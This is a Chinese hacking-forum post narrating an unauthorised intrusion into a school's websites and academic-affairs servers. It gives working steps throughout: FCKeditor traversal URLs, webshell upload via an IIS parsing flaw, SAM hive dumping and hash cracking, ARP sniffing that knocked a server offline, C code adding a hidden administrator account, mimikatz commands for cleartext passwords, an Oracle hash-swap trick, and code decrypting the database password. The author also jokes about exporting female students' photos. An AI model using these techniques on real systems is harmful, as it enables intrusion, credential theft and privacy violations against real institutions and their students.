查看: 10903|回复: 1

经典入侵某校教务管理系统实战

[复制链接]

该用户从未签到

发表于 2013-10-20 10:16:19 | 显示全部楼层 |阅读模式
起因
很久很久以前的某一天,一个什么都不知道的小白在网上第一次看到一个0day的利用方法,开开心心的拿去测试了一番,哇,居然成功了~从此,这个小白从此便踏上了web安全之路。
这次渗透最开始是没有目的性的,一个同学学校的网站,友情检测了一番,从一个webshell引出了以下的故事。 本故事无图无真相,就当是我杜撰的吧~
0×01 GetWebshell
有一天突然蛋疼了一下,于是就找了一个同学的学校网站开始开刀。
都说是文科生电脑不好,那就先从文科专业开始吧。
当时的我还是小菜一个,看到网站二话不说拿出wwwscan就开始狂扫目录。扫了一阵,看到有一个wwwroot.rar的文件,瞬间蛋碎了…
迅雷下载之,是整个网站源码的打包,包括数据库文件。从数据库文件中读出管理员的账号和密码(明文的),登陆后台。在后台发现有文件管理这一选项。
文件管理好啊,直接上传aspx马后缀都不带判断的,成功得到webshell。
看在开门红的份上继续扫其他的网站。在另一个网站上扫出了FCKeditor。当时年少,不知道FCK的目录遍历漏洞,一直到了后来才上传了webshell。

附:FCKeditor个人小结(重点已加红)找http://Madman.in/fckeditor/editor/filemanager/browser/default/browser.html

找http://Madman.in/fckeditor/editor/filemanager/connectors/asp/connector.asp
构造形式,使&connector=后面跟connector.aspx的路径
/fckeditor/editor/filemanager/browser/default/browser.html?&connector=../../connectors/aspx/connector.aspx
浏览查看文件
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
突破建立文件夹(IIS解析漏洞)
/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp


0×02 提权
提权这部分没什么好说的,aspx有执行的权限。上传杀器iis6.exe,秒杀之。两站通用。
虽然服务器有公网ip,但是我无法直接连接其3389,大概是防火墙的原因吧。设了个端口转发,由于我所在的网络也是不能连进来的,只好找了另外一台服务器当做跳板好不容易才登陆上去。
值得一提的是,在留后门的过程中,我不仅仅是建了一个隐藏的账号就完事了。因为服务器是2003的系统,导出所需的文件

reg save hklm\sam c:\sam.hivereg save hklm\system c:\system.hive
用Cain在“Cracker”下的“LM & NTLM Hashs”导入sam.hive,再导入system.hive中的syskey,得到hash。
然后拿着hash到http://www.objectif-securite.ch/en/products.php去破解。嗯,明文密码到手了。这样,即使某一天我建的隐藏账户被删了还是有继续利用的可能的。
PS:另外有种用注册表修改账户属性添加账户的方法破坏性太大,曾经试过一次,把人家服务器给挂掉了,内疚了好几天,以后就不敢再用了…
0×03 嗅探
一下子到手了两台服务器,略有成就感,心里也就越来越邪恶了。顺手查了下学校教务处的网站ip,在一个网段里面。操起神器cain嗅探之。此时我的目标由单纯的拿webshell到拿教务处的服务器了。
Cain刚刚开了不到十分钟,教务处的服务器就挂掉了。吓得我赶紧关了cain。百度来百度去,找到一种防止cain挂掉服务器的方法。原理是隔一段时间ping一个必定存在的ip,若ping不通,则表示整个网挂掉了,需要k掉cain。
但是在实际测试中,只是目标机(教务处)网站挂掉了,而我的傀儡服务器还是能上网的,我也是能ping的通目标机的。因此,cain破坏的只是目标机与路由器之间的信息交换。把网上得到的代码稍微修改下,换成隔一段时间重启一次cain。如下所示:

@echo off:ping
@choice /C YN /T 100 /D Y
@taskkill /f /im Cain.exe
@choice /C YN /T 15 /D Y
@start Cain.exe
GOTO ping

是bat脚本文件,放在cain的目录下执行。实际测试,即使这样还是会时目标机的网络不稳定,但是没办法啦,管理员赶紧上线吧~
很多人肯定会问,为什么拿教务处的webshell还要走嗅探这条路呢?
我在这里补充几句。教务处的网站用的正方的系统,网上已知的漏洞测试无效。同服的还有一个动易改版的CMS系统,无已知漏洞,无敏感文件。只能采用这种曲线救国的方式了。
为了减小傀儡机的负荷,在cain的配置中把能去的都去掉,比如说无用的端口,无用的Http Field等等,只加入80端口和从网页源码中form里得到的用户名和密码的input name。这些信息抓抓包看的更直接一点。
比如说表单中有下面的部分:

<input name=’UserName’ type=’text’ id=’UserName’><input name=’password’ type=’password’>
则在cain中的username fields中只保留或者自己添加UserName,在password fields中只保留或者自己添加password,然后就开嗅开arp吧~
0×04 嗅探后getshell
等了大概有三四天的样子,唔,这三四天就这么心惊胆战的过来了,管理员上线啦~
用cain嗅探得到的密码,进入动易改版的CMS系统的后台。
后台中有类似eWebeditor的编辑器,但是即使添加asp、aaspsp等扩展名在允许的列表中依然无法上传。(当时没有考虑到换成cer什么的后缀,也许这些没有拦截也说不定呢)后台数据库无法选择备份源和备份路径。无法修改文件源码。配置选项的内容存在数据库中,数据库路径未知。难道就这样卡住了?好吧,当时真的就这么卡住了。
这个CMS系统有日志备份,只要不正常的操作就给你记录下来,而且变态的是最近两天的记录不能删掉。为了不打草惊蛇,暂且放一放。
几天之后,手贱有点进去。那是一个月黑风高的夜晚,我几乎把后台所有的功能都遍历了一遍,发现上传文件夹的名称是可以自己定义的!!!默认是UploadFiles,将它改为UploadFiles.asp,上传后缀改为jpg的asp马,利用IIS解析漏洞成功拿下!
服务器是支持aspx的,又拿出iis6.exe打算秒杀之。
0×05 教务处提权
iis6.exe whoami 显示system权限。嗯,离拿下服务器不远了。我当时是这么想的。
Net user添加用户不成功。当时不相信自己的眼睛。重复试了几次之后绝望了…
Net.exe是有的,但就是加不上用户。好吧好吧,反正有system的权限,只是不能加用户而已,直接读它的hash吧~
读出hash,发现这台服务器将administrator的名字改了,并且对应管理员账户下hash显示为空,怎么回事?幸亏还有两个其他的用户,3389登陆之。
这次在cmd下,net user添加用户,360提示。擦,原来是被360的防黑加固功能拦了。好吧,没话说了。网上搜到一个API添加用户的方法,自己编译了一下,成功添加用户。

#include ”stdafx.h”#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,”netapi32″)

int main()
{
USER_INFO_1 ui;
DWORD dwError = 0;

ui.usri1_name = L”ying”; //这个是要添加的用户名,可以自己改改
ui.usri1_password = L”ying520″; //这个是用户密码,也可以自己改改
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,ui.usri1_name);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName; //添加到Administrators组
NetLocalGroupAddMembers(NULL,L”Administrators”,3,(LPBYTE)&account,1);
return 0;
}

管理员的密码真的为空么?我对此表示极度的怀疑。Hash提取是无望了,用杀器吧。
趁真正的管理员处于已断开状态,祭出mimikatz。
Mimikatz只要三个文件就够了,mimikatz.exe,PsExec.exe,sekurlsa.dll。用法如下:

//提升权限:privilege::debug
//注入dll:
inject::process lsass.exe “C:\recycler\sekurlsa.dll” 要用绝对路径!并且路径中绝对不能有中文(可以有空格)!
//抓取密码:
@getLogonPasswords
wdigest后面就是明文密码了
//退出:
exit,不要用 ctrl + c,会导致 mimikatz.exe CPU 占用达到 100%,死循环。exi

得到管理员明文密码。
擦,30位的密码…第一次见到…管理员要背这么长的密码,辛苦了…
0×06 数据库数据库!
进入了教务处也该拿点东西出来留作纪念吧~于是就打算脱库。
从正方的系统中读出了oracle的连接用户和密码,可惜密码是加过密的。网上有位大牛写过逆向的一个算法,但是需要key才能破解。逆向不会啊,key也不知道是什么…
我想oracle的数据库总归还是存在的,直接加个用户看看能不能读出来。用oracle本地登录,添加了本地用户,连接不到数据源。最开始以为是用户不对的原因,但是正确的账户我是不知道密码的,oracle的用户密码不是明文的,cmd5上也没有对应的破解。但是既然我有了sys的权限,总归有方法的。于是从网上找了种bypass密码的方法。
其思想是读出我目标用户的密码哈希,记录下来,然后用把它的密码改掉。在操作完之后把原来的哈希还原回来。其主要的操作如下:

connect sys/oracle as sysdba;(连接数据库)select username,password from dba_users;(读出用户名和密码哈希,并记录)
alter user system identified by manager;(修改用户system密码为manager)
connect system/manager;(用目标账户连接,做坏事吧~)
alter user system identified by values ‘2D594E86F93B17A1’;(还原哈希)


搞了半天发现还是读不到自己想要的信息。后来才发现,原来是站库分离啊…本机上装着oracle,另外一台服务器上也装着oracle,本机连接另一台服务器的数据库居然,坑死我了…
看看那台有数据库的服务器的信息,没开web服务。这让我等小菜情何以堪。Nessus扫描了下,说是这个版本的oracle有溢出漏洞。Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow。略略开心了下,想来是可以用msf溢出了。可是我当前的ip被学校限制了,几乎从外面没法连进来,遂放弃…
看来看去只有破数据库连接密码这一条路了。
0×07 解密
搜到两篇博文:
http://www.jbeta.net/post/31.html
http://www.cnblogs.com/Yahong111/archive/2007/08/15/857140.html
其实内容是差不多的。
按照第二篇里面的方法,自己写了一个.cpp的文件,编译了下,但是缺少参数key。
问基友无果,到90sec发帖求助。
在这里我得到了一个关键的信息——Reflactor反编译器。在上面两篇文章中只提到了ILDasm,而ILDasm反编译出来还是类似汇编的中间代码,根本没法阅读…有了Reflactor,我就能比较直观的看出加解密函数的执行方式。
于此同时我也发邮件给jbeta的博主,问他有关的信息。整理相关的信息如下:
1. 博主当时得出的key:Acxylf365jw;
2. 各个学校的key可能会不一样;
3. Key加密解密算法的实现;
4. Key就在这个dll里,但是我不知道该如何找到它。
现在我有两种选择,一是读懂加密解密算法,再想办法得到key,还有一种是翻来翻去一点一点找了。
我大致读了下加密的代码,其基本思想是拿密码和key进行异或操作。看到异或就略略开心了下,因为异或加密是有一定的bug的。
即:
E(a)=a xor key
key=E(a) xor a
也就是说,我只要知道一个明文和这个明文对应的key我就能逆出这个key来。但是这个加密算法还有一个if的判断,若异或之后得到的值在某个范围内,就采用异或;若不在这个范围里就保留原值。当然,还有点其他的简单处理逻辑在里面。所以,如果运气不好的话,我需要很多个明文以及其对应的密文才能得到key。因为我找到了一个数据库的备份文件,据博主说其中的加密算法都是一样的,所以我能通过这个方法得到key,但是略麻烦…作为备选思路吧。
唔,这样就只能先翻翻看喽~
Reflactor有个String和Constant的搜索功能,输入“key”,搜了半天也没搜到。就在下定决心根据leo108童鞋的提示从module1里一点一点找的时候,手贱把博主给的key值放到搜索框里试了下,居然找到了!!
又一次人品爆发,啊哈哈~
在Module1_sjh下面.cctor()里面得到如下信息:

static Module1_sjf(){
str_jm = ”Acxylf365jw”;
arrlistDyx = new ArrayList();
$STATIC$PrintBarCode$051EE882$strBarTable$Init=new StaticLocalInitFlag();
}

把key放到解密函数中,成功得到数据库连接密码。
整个渗透过程到这里为止吧,不想再继续下去了。因为我没有破坏人家数据的欲望,连接到数据库之后就收手了。Oracle应该还能继续提权的,怕惹出什么麻烦来…
有个邪恶的想法,就是把各种妹子的照片导出来,嘿嘿嘿嘿~~~~
0×08 感想
我觉得,对各种root的欲望,对自己能力的探测,对网络管理员们当前安全观念缺失的程度的测试,是我渗透下去的动力。
本次渗透主要由我一人完成,在最后阶段得到了http://www.jbeta.net/博主的帮助和leo108同学的提示,才得以完成整个渗透过程。
小菜之作,没什么技术含量。见笑了~

QQ:1343382392

Deleter
2012.7.6

附:解密用的cpp代码(cmd下运行)
#include <iostream>#include <string>
using namespace std;

string ReverseStr(string strFormer)
{
string strReversed = ””;
string:: iterator iter = strFormer.end();
while(iter != strFormer.begin())
{
strReversed += *(–iter);
}
return strReversed;
}

string Decode(string PlainStr, string key)
{
int i;
string jiemi;
string KeyChar;
string NewStr;
int Pos;
string Side1;
string Side2;
string strChar;
int _Vb_t_i4_0;
Pos = 1;
if(PlainStr.size()%2 == 0)
{
Side1 = ReverseStr(PlainStr.substr(0, PlainStr.size()/2));
Side2 = ReverseStr(PlainStr.substr(PlainStr.size()/2));
PlainStr = Side1 + Side2;
}
_Vb_t_i4_0 = PlainStr.size();
int bl_1, bl_2, bl_3, bl_4=0;
for(i=1; i<=_Vb_t_i4_0; i++)
{
strChar = PlainStr.substr(i-1, 1);
KeyChar = key.substr(Pos-1, 1);
bl_1 = (strChar[0] ^ KeyChar[0]) < 32? 1:0;
bl_2 = (strChar[0] ^ KeyChar[0]) > 126? 1:0;
bl_3 = (strChar[0] < 0? 1:0) | (bl_1 | bl_2);
bl_4 = (strChar[0] > 0xFF? 1:0) | bl_3;
if(bl_4)
{
cout << ”if” << endl;
NewStr += strChar;
cout << ”strChar :” <<endl;
}
else
{
cout << ”else” << endl;
char ch = strChar[0] ^ KeyChar[0];
string str = ””;
str += ch;
NewStr += str;
cout << strChar << ” xor ” << KeyChar << ” is ” << ch << endl;
}
if(key.size() == Pos)
{
cout << ”key.size() == Pos” << endl;
Pos = 0;
}
Pos += 1;
}
jiemi = NewStr;
return jiemi;
}

void main(){
string key=”Your Key”;
string pass=”Your DB Pass”;

string data=Decode(pass,key);

cout<<data<<endl;
}
回复

使用道具 举报

  • TA的每日心情
    慵懒
    2016-12-9 22:01
  • 签到天数: 77 天

    [LV.6]常住居民II

    发表于 2013-10-20 11:01:41 | 显示全部楼层
    表示CPP代码不会用~小白一只
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-26 01:35 , Processed in 0.021462 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部